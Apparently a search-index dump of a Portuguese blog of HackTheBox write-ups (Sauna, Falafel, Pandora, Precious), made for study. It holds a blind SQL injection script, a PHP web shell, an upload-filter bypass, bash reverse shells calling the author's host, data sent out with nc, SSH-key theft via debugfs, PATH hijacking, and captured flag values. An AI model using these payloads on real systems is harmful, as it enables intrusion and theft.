Hacking Ético! Este site foi criado como um projeto pessoal, para ajudar a orientar as minhas ideias enquanto procuro aprender mais sobre este tema. Aqui, irei partilhar alguns writeups de máquinas do HackTheBox e outros conteúdos relacionados. Na barra lateral esquerda, poderão encontrar os links para os diferentes writeups que foram publicados ao longo do tempo. Espero que este blog possa ser útil para quem está a estudar cibersegurança e hacking ético , e que possamos aprender juntos. Image by Pete Linforth from Pixabay","breadcrumbs":"Introdução » Sylvain \"JavaliMZ\" Júlio","id":"0","title":"Sylvain \"JavaliMZ\" Júlio"},"1":{"body":"Bem-vindos ao meu blog sobre hacking ético, pentesting e conhecimentos informáticos em geral! Aqui, irão encontrar relatórios das máquinas que resolvi, partilhados em português. Acredito que é difícil encontrar conteúdo em português sobre resolução de máquinas, por isso decidi criar este espaço. Além de partilhar convosco, isto também reforça a minha aprendizagem e organiza as minhas ideias. Recomendo este blog a qualquer pessoa que esteja a estudar para cibersegurança ou para certificações como OSCP/CEH. Os relatórios não são muito elaborados, mas têm bastante conteúdo. E, para deixar claro, nunca utilizarei o Metasploit!","breadcrumbs":"Máquinas Windows » Máquinas HackTheBox","id":"1","title":"Máquinas HackTheBox"},"10":{"body":"Enumeração nmap allPorts nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49675,49676,49677,49700,49720 10.10.10.175 -vvv -oN enumeration/nmap-A.txt -Pn # Nmap 7.91 scan initiated Wed Sep 15 21:03:01 2021 as: nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49675,49676,49677,49700,49720 -vvv -oN enumeration/nmap-A.txt -Pn 10.10.10.175\nNmap scan report for 10.10.10.175\nHost is up, received user-set (0.041s latency).\nScanned at 2021-09-15 21:03:02 WEST for 96s PORT STATE SERVICE REASON VERSION\n53/tcp open domain syn-ack Simple DNS Plus\n80/tcp open http syn-ack Microsoft IIS httpd 10.0\n| http-methods:\n| Supported Methods: OPTIONS TRACE GET HEAD POST\n|_ Potentially risky methods: TRACE\n|_http-server-header: Microsoft-IIS/10.0\n|_http-title: Egotistical Bank :: Home\n88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2021-09-16 03:03:10Z)\n135/tcp open msrpc syn-ack Microsoft Windows RPC\n139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn\n389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)\n445/tcp open microsoft-ds? syn-ack\n464/tcp open kpasswd5? syn-ack\n593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0\n636/tcp open tcpwrapped syn-ack\n3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)\n3269/tcp open tcpwrapped syn-ack\n5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\n|_http-server-header: Microsoft-HTTPAPI/2.0\n|_http-title: Not Found\n9389/tcp open mc-nmf syn-ack .NET Message Framing\n49667/tcp open msrpc syn-ack Microsoft Windows RPC\n49675/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0\n49676/tcp open msrpc syn-ack Microsoft Windows RPC\n49677/tcp open msrpc syn-ack Microsoft Windows RPC\n49700/tcp open msrpc syn-ack Microsoft Windows RPC\n49720/tcp open msrpc syn-ack Microsoft Windows RPC\nService Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results:\n|_clock-skew: 7h00m01s\n| p2p-conficker:\n| Checking for Conficker.C or higher...\n| Check 1 (port 35558/tcp): CLEAN (Timeout)\n| Check 2 (port 54801/tcp): CLEAN (Timeout)\n| Check 3 (port 18966/udp): CLEAN (Timeout)\n| Check 4 (port 57297/udp): CLEAN (Timeout)\n|_ 0/4 checks are positive: Host is CLEAN or ports are blocked\n| smb2-security-mode:\n| 2.02:\n|_ Message signing enabled and required\n| smb2-time:\n| date: 2021-09-16T03:04:00\n|_ start_date: N/A Read data files from: /usr/bin/../share/nmap\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n# Nmap done at Wed Sep 15 21:04:38 2021 -- 1 IP address (1 host up) scanned in 97.34 seconds Pela quantidade de portas, sabemos que não estamos perante um \"tamagotchi\"... Isso aparenta ser um Active directory ou um Domain Controller... Tem kerberos, samba, RPC, HTTP... Neste ponto, há já diversas coisas que quero tentar... primeiro o servidor http claro, ver se podemos entrar no servidor samba, Tentar loggar por RPC, e tentar um AS-REP Roasting attack, Mas vamos com calma!","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 1.1. Nmap","id":"10","title":"1.1. Nmap"},"100":{"body":"Antes de falar da página do Login (que é por aí que se vai penetrar a máquina!), irei falar sobre as rotas e potenciais ficheiros da máquina. # Primeira enumeração básica de rotas\nffuf -c -u http://10.10.10.73/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 200 -r #> assets [Status: 403, Size: 293, Words: 22, Lines: 12]\n#> css [Status: 403, Size: 290, Words: 22, Lines: 12]\n#> js [Status: 403, Size: 289, Words: 22, Lines: 12]\n#> uploads [Status: 403, Size: 294, Words: 22, Lines: 12]\n#> images [Status: 403, Size: 293, Words: 22, Lines: 12] #> [Status: 200, Size: 7203, Words: 774, Lines: 110]\n#> server-status [Status: 403, Size: 299, Words: 22, Lines: 12] Vemos um diretório upload . Mas por enquanto nada de mais... Temos de procurar mais... O segundo scan que quero rodar é por ficheiros. Sabemos que é um servidor apache com auxilio do nmap, por isso podemos supor que o servidor funcione com ficheiros php. Além disso, o botão de login nós redirige para um login.php. Posto isso, o nosso próximo scan vai ser para procurar ficheiros com extenções php. Podemos também procurar por ficheiros txt... ffuf -c -u http://10.10.10.73/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 200 -r -e .txt,.php #> profile.php [Status: 200, Size: 7063, Words: 878, Lines: 103]\n#> uploads [Status: 403, Size: 294, Words: 22, Lines: 12]\n#> header.php [Status: 200, Size: 288, Words: 10, Lines: 18]\n#> footer.php [Status: 200, Size: 0, Words: 1, Lines: 1]\n#> upload.php [Status: 200, Size: 7063, Words: 878, Lines: 103]\n#> css [Status: 403, Size: 290, Words: 22, Lines: 12]\n#> style.php [Status: 200, Size: 6174, Words: 690, Lines: 69]\n#> index.php [Status: 200, Size: 7203, Words: 774, Lines: 110]\n#> js [Status: 403, Size: 289, Words: 22, Lines: 12]\n#> login.php [Status: 200, Size: 7063, Words: 878, Lines: 103]\n#> logout.php [Status: 200, Size: 7063, Words: 878, Lines: 103]\n#> robots.txt [Status: 200, Size: 30, Words: 3, Lines: 2]\n#> assets [Status: 403, Size: 293, Words: 22, Lines: 12]\n#> images [Status: 403, Size: 293, Words: 22, Lines: 12]\n#> cyberlaw.txt [Status: 200, Size: 804, Words: 106, Lines: 18]\n#> connection.php [Status: 200, Size: 0, Words: 1, Lines: 1]\n#> .php [Status: 403, Size: 290, Words: 22, Lines: 12]\n#> [Status: 200, Size: 7203, Words: 774, Lines: 110]\n#> server-status [Status: 403, Size: 299, Words: 22, Lines: 12] O que é isso de cyberlaw.txt?! cyberlaw.txt Bem, isto nos trás algumas informações... Potencial users: devs (de devs@falafel.htb) lawyers (de lawyers@falafel.htb) chris (do próprio texto) admin (da \"assinatura\") Ainda nos diz que o usuário chris conseguiu ter FULL CONTROL do site usando um recurso de uploads de imagens, que ainda não descobrimos. Sabemos ainda que o url de upload de imagens está filtrado, por isso não deve ser assim tão fácil... Prossigamos","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.1. Fuzzing the website","id":"100","title":"2.1. Fuzzing the website"},"101":{"body":"Quando abrimos a página http://falafel.htb/ de um browser, vemos então um botão login. Ao por credenciais por defeito do tipo admin:admin, admin:password, test:test... , verificamos que poderá existir um usuário admin, pois temo uma mensagem de erro que diz \"Wrong identification : admin\" . Outros usuários aleatórios nos dá a mensagem \"Try again..\" . Agora, e com a tal mensagem de cyberlaw.txt, podemos assumir que o usuário \"admin\" existe. admin login try Nos servidores em php, é muito commum controlarem o login e outras coisas com uma base de dados MySQL ou similar. Podemos tentar fazer o login com o clássico \"' or 1=1 -- -\" tanto no campo user como no campo password. Obtemos o mesmo erro \"Wrong identification : admin\" . Isto é um claro sinal que este campo é vulnerável a SQLi (SQL injection). Temos mensagens distintas, mas não temos o erro SQL concreto! Por isso não é bem um blind SQLi, mas também não é assim tão claro. Ao tentar por \"admin' and sleep(5)\" , temos um erro diferente: \"Hacking Attempt Detected!\" . UHUUU O FBI NOS DETECTOU LOOOL...Bem, isto parece um tipo de filtro a palavar chaves, porque ao escrever apenas e só a palavra \"sleep\" ou \"union\" , optemos o mesmo erro... Como não vemos nada, mas sabemos como são de uma maneira geral feitas as bases de dados, podemos tentar descobrir o nome da coluna. Ao escrever admin' and substring(username,1,1)='a'-- - , estamos a dizer que, para o usuário admin , queremos saber se na coluna de nome username , a letra positionada na 1ª posição é igual a 'a' . E isso já nós sabemos. admin começa pela letra 'a' . admin' and substring(username,1,1)='a'-- - Obtemos a mesma mensagem de erro (Wrong identification : admin), e se pusermos qualquer outra letra, obtemos outro erro (Try again..) por a primeira letra não corresponder. Isso é muito bom sinal... admin' and substring(username,2,1)='d'-- - Ao testar para o segundo caractere, obtemos o mesmo resultado, apenas optemos (Wrong identification : admin) quando acertamos na letra 'd' . Mas porquê \"Wrong identification : admin\"? A query no código php deve estar a fazer uma comparação, entre admin e admin, e nós adicionamos 'and substring(username,1,1)='a'. Só passa para a verificação seguinte se o \"admin\" existir, e se \"a sua primeira letra for 'a'\". Depois de validar o campo user, fica barrado pela password, pois não a temos... Então, quando acerto na substring, vai me responder \"Wrong identification\". Posto isso, podemos enumerar todos os campos de todas as tabelas da base de dados desta forma. O único problema é que não temos ideia do nome dessas tabelas nem das suas colunas... Mas também não persisamos saber tudo! Basta-nos a password! Seguindo o mesmo princípio, podemos tentar com o nome de coluna password (por ser comum e normal de ser chamdo assim): admin' and substring(password,1,1)='0...1...2...3...até...ao...z'-- - . Manualmente, iria ser possível, mas apenas com 3 litros de café e pausas de 2 em 2 horas! Vamos automatizar isso em python: import requests\nimport re\nfrom pwn import log def sendRequest(code): url = \"http://falafel.htb/login.php\" header = {\"Cookie\": \"PHPSESSID=0tpuo9bnh5jo18ibamo44q3ej0\"} data = {\"username\": code, \"password\": \"password\"} res = requests.post(url, headers=header, data=data).text res = res.replace(\"\\n\", \" \").replace(\"\\t\", \" \") regexPattern = r\"\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> Resumindo: O ficheiro tem obrigatoriamente que terminar por \".png\" O servidor apache interpreta código php O wget da página de upload corta os nomes muito grandes a partir do caractere 236. Posto isso, se renomearmos o nosso ficheiro malicioso por um arquivo com (232 carateres + .php + .png), o nome do arquivo irá ser cortado a partir do 236º caracter e ficará assim: (232 chars + .php) cp shell.php $(msf-pattern_create -l 232).php.png\n# Agora que temos o número exato de caracteres, poderíamos ter chamado o ficheiro com 232 \"A\"... mas na altura não me lembrei e o nome está um pouco agressivo para os olhos! Resultado: http://10.10.14.17/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png uploaded web shell Note the path of the file and go to the webshell Ok, conseguimos enviar um arquivo, que aparentemente agora está na máquina alvo com a extensão .php. E onde está? Bem, no resultado o comando wget, vemos que antes de fazer o download do arquivo, fez um cd para uma pasta. E sabemos ainda que existe uma rota uploads... Ao juntar tudo, podemos tentar ir para a seguinte url(no meu caso): http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=whoami whoami web shell Temos Execução de código remoto!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3. RCE","id":"102","title":"2.3. RCE"},"103":{"body":"A forma mais fácil de ter um reverse shell sem ter muitos problemas com caracteres especiais e assim é partilhar um ficheiro com o código do reverse shell lá dentro, para depois fazer um curl e pipeá-lo com um bash (sim pipeá-lo, neste blog, este verbo existe xD) Criei então um ficheiro com o nome rev.html contendo o seguinte código: #!/bin/bash bash -i >& /dev/tcp/10.10.14.17/443 0>&1 Partilhe então um servidor http com este ficheiro, para que através do RCE, poder dar um curl ao ficheiro, e pipeá-lo com bash sudo python3 -m http.server 80 # On one terminal\nsudo nc -lvnp 443 # On another one http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=curl%20http://10.10.14.17/rev.html|bash","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3.1. Reverse Shell","id":"103","title":"2.3.1. Reverse Shell"},"104":{"body":"Já dentro da máquina, ao vasculhar os ficheiros, pode-se encontrar credenciais em /var/www/html/connection.php (remote) www-data@falafel:/var/www/html$ cat connection.php\n Estas credenciais server para fazer login ao MySQL, mas se reutilizar-mos as credenciais para fazer login por ssh, vemos que as credenciais são válidas!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3. PrivEsc","id":"104","title":"3. PrivEsc"},"105":{"body":"Esta máquina é um CaptureTheFlag LOL... O próximo passo é completamente irrealista, mas não deixa de ser interessante. Esta máquina não tem mais vulnerabilidades. Ok, então onde estão as credenciais do usuário \"yossi\"?! Estão no ecrã... com o commando \"w\" podemos ver que o yossi está actualmente logado fisicamente na máquina w\n#> 22:31:32 up 10:23, 2 users, load average: 0.00, 0.00, 0.00\n#> USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\n#> yossi tty1 12:08 10:22m 0.06s 0.06s -bash\n#> moshe pts/1 10.10.14.17 22:06 0.00s 0.06s 0.00s w O usuário com o qual estamos neste momento (moshe) está no grupo \"video\". Os usuário deste grupo pode ver o que está a ser transmitido para o ecrã. E para tirar uma captura de ecrã sem nenhum recurso adicional, pode-se ir à fonte mesmo. Isto é, capturar o que está em /dev/fb0 com um simples cat. Para ler este arquivo (que vem em formato RAW), temos de saber as dimenções da tela, pois este formato não diz nada sobre dimenções, apenas escreve todos os dados numa linha só e \"tá feito\". As dimenções actuais do ecrã estão sempre definidas em /sy/class/graphics/fb0/virtual_size cat /dev/fb0 > /tmp/screen.raw\ncat /sys/class/graphics/fb0/virtual_size\n#> 1176,885 Recupere a captura de ecrã para o kali nc 10.10.14.17 443 < /tmp/screen.raw # Target Machine\nnc -lvnp 443 > screen.raw # kali Machine Abrir o ficheiro com ajuda do GIMP, definido manualmente que este ficheiro é um ficheiro RAW com 1176,885 de dimenções... opennig image raw format with GIMP Select size of raw image Password yossi Entre agora por ssh com o usuário yossi e a sua credencial (que de passagem só se vê porque o yossi errou primeiro ao introduzi-la e por \"grande sorte\" ainda está a vista na tela looooool)","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.1. Group video","id":"105","title":"3.1. Group video"},"106":{"body":"for group in $(groups); do echo -e \"\\n\\n\\n[*] Archive with group $group permition:\\n\"; find / -group $group 2>/dev/null; done Este commando permite-nos enumerar todos os ficheiro no qual pertence a cada grupo no qual está o usuário. E assim, vemos que o usuário yossio em que estamos logados, tem permissões através do grupo \"disk\" de leitura e escritura sobre /dev/sda1 e muito mais... Este /dev/sda1 é muito simplesmente o disco rígido na qual está instalado o prórpio sistema operativo. Mas não dá para abrir assim... fdisk -l\n#> Disk /dev/sda: 8 GiB, 8589934592 bytes, 16777216 sectors\n#> Units: sectors of 1 * 512 = 512 bytes\n#> Sector size (logical/physical): 512 bytes / 512 bytes\n#> I/O size (minimum/optimal): 512 bytes / 512 bytes\n#> Disklabel type: dos\n#> Disk identifier: 0x01590ad6\n#>\n#> Device Boot Start End Sectors Size Id Type\n#> /dev/sda1 * 2048 14680063 14678016 7G 83 Linux\n#> /dev/sda2 14682110 16775167 2093058 1022M 5 Extended\n#> /dev/sda5 14682112 16775167 2093056 1022M 82 Linux swap / Solaris ll /dev/sda1\n#> brw-rw---- 1 root disk 8, 1 Sep 9 12:08 /dev/sda1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.2. Group disk","id":"106","title":"3.2. Group disk"},"107":{"body":"Com a ajuda da ferramente debugfs (ext2/ext3/ext4 file system debugger). Podemos ver ou manipular uma partição, um disco ou o seu conteúdo. Podemos assim facilemente ver a flag root.txt, mas a nós o que nos interessa é vir a ser root! Por sorte, em /root/.ssh existem keys para entrar por ssh, já autorizadas... nem percisamos de fazer mais nada. É só copiar e usar a id_rsa: debugfs /dev/sda1\ndebugfs: cd /root/.ssh\ndebugfs: cat id_rsa # copy the content...\n# Exit the debugfs cd /tmp\nnano id_rsa # paste the content...\nchmod 600 id_rsa\nssh -i id_rsa root@localhost cat /home/moshe/user.txt\n#> c866575ed5999e1a878b1494fcb1f9d3\ncat /root/root.txt\n#> 23b79200448c62ffd6f8f2091c001fa1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.3. debugfs","id":"107","title":"3.3. debugfs"},"108":{"body":"Sejam bem-vindos! Neste espaço, irei partilhar alguns dos trabalhos que realizarei durante o meu curso de Cibersegurança, em português, como é habitual. Espero que possam acompanhar e aprender comigo. Sylvain \"JavaliMZ\" Júlio","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Trabalhos do curso de Cibersegurança","id":"108","title":"Trabalhos do curso de Cibersegurança"},"109":{"body":"T02 - Acesso Remoto (SSH) 1. Instalação do OpenSSH do cliente 2. Instalação do OpenSSH do lado do servidor 3. Ligação entre o cliente e o servidor 4. Execução de comandos no servidor 5. Criação de um utilizador no servidor 6. Acesso ao servidor através do utilizador criado 7. Acesso de utilizadores guest por parte dos camaradas de curso 8. Mudar o porto lógico de acesso do servidor 9. Verificação do acesso ao servidor SSH 10. Conclusão Para este trabalho, iremos usar o Arch(Linux) por WSL2 do Windows. Para instalar o OpenSSH, basta executar o seguinte comando: yay openssh # O Yay é um AUR Helper. É necessário selecionar a opção respetiva do OpenSSH para instalá-lo. Neste momento, já se pode usar o comando ssh enquanto cliente para nos conectarmos a um servidor SSH, sem mais configurações.","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 1. Instalação do OpenSSH do cliente","id":"109","title":"1. Instalação do OpenSSH do cliente"},"11":{"body":"Web Server potenciais users A passear pelo site, não se vê nada de interessante a não ser a página about.html que poderá ter potenciais usuários de uma eventual empresa (Já que é um Active directory ou um Domain Controller) Numa empresa, os usuários costumam ser identificados por primeira letra dos primeiros nomes, e ultimo nome completo. junto, ou separado por um ponto. Isto é extremamente comum... Por isso, vamos extrair esse potenciais usuários para um ficheiro, e daí fazer um arquivo com usernames. Web Server get users cat users-full-name\n#> Fergus Smith\n#> Hugo Bear\n#> Steven Kerb\n#> Shaun Coins\n#> Bowie Taylor\n#> Sophie Driver cat users-full-name | tr '[A-Z]' '[a-z]'\n#> fergus smith\n#> hugo bear\n#> steven kerb\n#> shaun coins\n#> bowie taylor\n#> sophie driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}'\n#> fsmith\n#> hbear\n#> skerb\n#> scoins\n#> btaylor\n#> sdriver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}'\n#> f.smith\n#> h.bear\n#> s.kerb\n#> s.coins\n#> b.taylor\n#> s.driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}' > users cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}' >> users Temos agora uma lista de usuários potenciais para efectuar a próxima tentativa de attack. AS-REP Roasting Attack!.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 2. Web Server","id":"11","title":"2. Web Server"},"110":{"body":"O OpenSSH no sistema RockyOS vem instalado por defeito. Inclusive, o servidor inicia automaticamente com o sistema. No entanto, caso o software não estiver instalado, basta executar o seguinte comando: sudo yum install openssh Além de o instalar, será necessário ativar o serviço do OpenSSH. Para isso, basta executar o seguinte comando: systemctl start sshd # Inicia o serviço do OpenSSH\nsystemctl enable sshd # Indica ao sistema para iniciar o serviço do OpenSSH sempre que o sistema iniciar","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 2. Instalação do OpenSSH do lado do servidor","id":"110","title":"2. Instalação do OpenSSH do lado do servidor"},"111":{"body":"Por fim, para ligar o cliente ao servidor, basta executar o seguinte comando: # Do lado do cliente (Arch)\nssh javali@192.168.56.101 # ssh
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> # Para diretamente ter o reverse shell:\n& /dev/tcp/10.10.14.230/443 0>&1'\");?> # Executar o nc em modo de escuta para receber o shell:\nkali@kali: > nc -lvnp 443 # Em outra consola, executar o ficheiro que \"uploadamos\" (Eu escolhi chamar o ficheiro de shell.php...)\nkali@kali: > curl http://localhost/pandora_console/images/shell.php","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6. RCE com usuário matt","id":"86","title":"3.6. RCE com usuário matt"},"87":{"body":"script /dev/null -c bash\nexport TERM=xterm\nexport SHELL=bash # Ctrl + Z\nstty raw -echo; fg\nreset\nstty rows 40 columns 170 # Tem corresponder ao vosso ecrã (stty -a numa consola do Kali)","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6.1. Estabilizar o Reverse Shell","id":"87","title":"3.6.1. Estabilizar o Reverse Shell"},"88":{"body":"Agora que somos matt, podemos analisar o tal binário pandora_backup tar No meio desses caracteres todos, podemos ver um clienttar -cvf /root/... Este parece ser um simples comando \" tar \" que se colou a uma palavra \"client\" por não haver caracteres ASCII pelo meio. Significa que, quem fez o binário, aparentemente, usou um simples comando \" tar \" para fazer o backup, mas não usou o caminho completo para chamar a ferramenta. O que isto quer dizer?","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4. Escalada de privilégio","id":"88","title":"4. Escalada de privilégio"},"89":{"body":"Sabemos que o binário pandora_backup usa o tar. Onde se encontra isso? which tar\n# /usr/bin/tar Ok. Mas como é que o computador sabe que está ali o programa? Existe uma variável no shell que indica isso. Chama-se PATH: echo $PATH\n# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin É assim que o computador procura o programa, primeiro procura em \" /usr/local/sbin \", depois em \" /usr/local/bin \", e assim sucessivamente. Todas as pastas estão separadas pelos dois pontos \":\". Mas esta variável é apenas uma variável que o nosso shell actual têm, que facilmente se altera. export PATH=.:$PATH\necho $PATH\n# .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Adicionamos um ponto \".\" à primeira pasta onde o computador vai procurar pelo programa. Significa que o computador vai procurar no diretório atual, e só depois nos outros diretórios. Assim, basta criar um executável de nome \" tar \" numa pasta qualquer, e executar o binário pandora*backup a partir da mesma posição, para o linux assumir que o \"**_tar***\" correto é o nosso próprio ficheiro \" tar \". E, já que o binário pandora_backup é SUID, e o seu proprietário é \" root \", significa que podemos escrever o que nos apetecer para que seja executado como \"** root **\". O mais fácil é chamar um bash novo... pathhijacknotwork","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1. Path Hijacking","id":"89","title":"4.1. Path Hijacking"},"9":{"body":"Resolução da máquina Sauna\nMáquina Easy (hackthebox.com)\nby JavaliMZ - 15/09/2021 1. Enumeração 1.1. Nmap 2. Web Server 3. AS-REP Roasting Attack 3.1. GetNPUsers.py 3.1.1. Pwn3d! 4. Primeiro pé na máquina 5. BloodHound 6. Escalada de Privilégios Como sempre, para qualquer PenTest, precisamos saber qual é o alvo. E o primeiro passo para isso é enumerar as portas da máquina! Uma das melhores e mais conhecidas ferramentas para enumerar as portas de uma máquina ou conjunte de máquina é o NMAP.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 1. Enumeração","id":"9","title":"1. Enumeração"},"90":{"body":"Sinceramente não sei, o que sei é que pelo ssh funcionou nesta máquina... Quando vi que não funcionou, procurei outra solução. criei uma chave id_rsa só para ter melhor conexão, conectei-me via SSH e o mesmo exploit funcionou... OK. Mistérios do Hacking! ssh-keygen\ncd /home/matt/.ssh\ncat id_rsa.pub > authorized_keys\ncat id_rsa\n# Copiar o conteúdo e colar num novo ficheiro no nosso kali\nkali@kali: > nano id_rsa\nkali@kali: > # Colar e gravar\nkali@kali: > chmod 600 id_rsa\nkali@kali: > ssh matt@10.10.11.136 -i id_rsa E agora, exatamente da mesma posição, alterando primeiro a variável PATH, optemos uma shell root root Agora já somos ROOT! Só falta as flags... Obrigador por lerem o writeup! Até à próxima Criadores da máquina: TheCyberGeek e dmw0ng","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1.1. Não funcionou! Porquê?","id":"90","title":"4.1.1. Não funcionou! Porquê?"},"91":{"body":"Writeup: Precious EASY machine (hackthebox.com) by Sylvain \"JavaliMZ\" Júlio - 30/12/2022 1. Introduction 2. Enumeration 3. Exploit - Remote Code Execution 4. Foothold 5. Privilege Escalation 6. Conclusion This write-up was created for two purposes. Normally, my write-ups are in Portuguese, but this time, I am writing in English because I am in a Cyber Security degree, and I need to complete an assignment for my English class during the 2022 winter break. The assignment was to summarize and explain three good articles about a topic I like, but I didn't know what to choose, so I decided to make the \"Precious\" machine from HTB and read some articles about the machine's vulnerabilities. Additionally, my teacher Maria's goal is to keep us interested and active in English, so I think I am respecting the overall rules =). For this time, I will not be discussing possible ways to find something or explaining different concepts that are not related to the machine, because it is already a lot of work to write and think in English. I will only be talking about the machine and the way to gain Administrator access to the machine. I will try to make analogies to the real world so that my teacher does not get lost. I will do my best.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 1. Introduction","id":"91","title":"1. Introduction"},"92":{"body":"Like every machine, we need to know how to access it. HTB gives us the IP address, but we don't know anything else. The IP address is like the address of a house, but we need to figure out which doors are open to get in. In a machine, these doors are called \"ports\" (in reference to the ports of ships that allow the arrival of goods from the outside world). There are always 65,535 ports in all machines. It's a lot!! But we don't need to knock on all the ports manually... For that, we have a tool called nmap . First, we need to confirm that we can reach the IP: ping -c 1 10.10.11.189 # PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data. # 64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=72.5 ms # --- 10.10.11.189 ping statistics --- # 1 packets transmitted, 1 received, 0% packet loss, time 0ms # rtt min/avg/max/mdev = 72.530/72.530/72.530/0.000 ms We send an ICMP packet, and the target machine sends it back. With the ping command (like ping pong), we know the machine is alive and we can start scanning the ports. We noticed one more thing with the ping command. The result gives us the TTL (Time to Live) which refers to the number of hops that a packet is allowed to make before it is discarded. When a packet travels through the Internet, every time it passes through a router, the router decrements this value by 1. For Windows, TTL starts at 128, and for Linux, TTL starts at 64. We can use this information to approximate the Operating System of the target machine. In this case, it is likely a Linux machine. It is important for future commands on the target machine. Enumeration all ports With the response of the nmap command, we know that on the target machine, we have 2 ports open: port 22 and port 80. Normally, port 22 is for an SSH server and port 80 is for a web server. The SSH server is a remote secure shell, used to connect my command line with the machine when we connect with the right credentials. We don't have any credentials, so we can't do anything here. We just have one more port, the web server. Before we start looking at the website, we can do a more powerful scan, using nmap as well. Enumeration targeted ports This new command gives us more information. The web server redirects us to http://precious.htb/ , but that website doesn't exist. We know the site is on this IP, but the web server wants us to access it through the URL http://precious.htb/ . We can do that by telling our machine that the URL http://precious.htb/ corresponds to the IP of the target machine. For that, we can edit the file /etc/hosts as a root (super user) and add the line: echo \"10.10.11.189\\tprecious.htb\" >> /etc/hosts Now, we can access the website: Website It is a website that converts websites to PDF. We can do some basic testing to get more information about the website. We can try to serve a web server and enter the new URL to see what happens: python -m http.server 80 This is a really simple web server, but it is enough for us. We can enter our URL (http://10.10.14.144/) in the field on the website and see what happens: pdf Download We can see that the website download a PDF file. Visually, it is just a simples PDF. But if we use a tool like exiftool to see the metadata of the PDF, we can see more information... pdf Metadata","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 2. Enumeration","id":"92","title":"2. Enumeration"},"93":{"body":"We 